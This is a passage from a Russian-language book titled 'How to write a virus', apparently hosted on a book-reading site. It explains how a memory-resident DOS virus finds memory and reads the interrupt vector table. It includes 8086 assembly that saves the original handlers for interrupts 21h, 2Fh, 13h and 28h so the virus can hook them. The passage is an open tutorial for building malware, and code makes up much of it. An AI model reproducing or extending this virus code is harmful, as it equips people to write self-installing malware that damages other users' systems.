"Игорь Коваль. Как написать вирус" - читать интересную книгу автора

программе,на длину вирусного кода.Интересующая нас
величина находится по смещению 02h от начала PSP.


2.10 Получаем вектора прерываний

Итак, мы нашли блок памяти, в который часть ини-
циализации будет копировать вирусный код.Но прежде
чем инсталлировать вирус в память, необходимо уз-
нать адреса системных обработчиков прерываний.Ведь
вирус будет вызывать эти обработчики перед ( или
после ) выполнением собственных действий по обра-
ботке того или иного прерывания .Если исходные об-
работчики не будут получать управление, вычислите-
льная система придет в аварийное состояние .
Поэтому :

;_________________________________________________

mov es,di ;Получаем векто-
;ра прерываний
cli
mov di,084h ;Int 21h ...
mov bx,es:[di]
mov old_21h,bx
mov bx,es:[di+2]
mov old_21h_2,bx

mov di,0bch ;Int 2fh ...
mov bx,es:[di]
mov old_2fh,bx
mov bx,es:[di+2]
mov old_2fh_2,bx

mov di,04ch ;Int 13h ...
mov bx,es:[di]
mov old_13h,bx
mov bx,es:[di+2]
mov old_13h_2,bx

mov di,0a0h ;Int 28h ...
mov bx,es:[di]
mov old_28h,bx
mov bx,es:[di+2]
mov old_28h_2,bx
sti

Как видим, для определения адресов обработчиков
вирус обращается непосредственно к таблице векто-
ров прерываний.Секция инициализации будет перехва-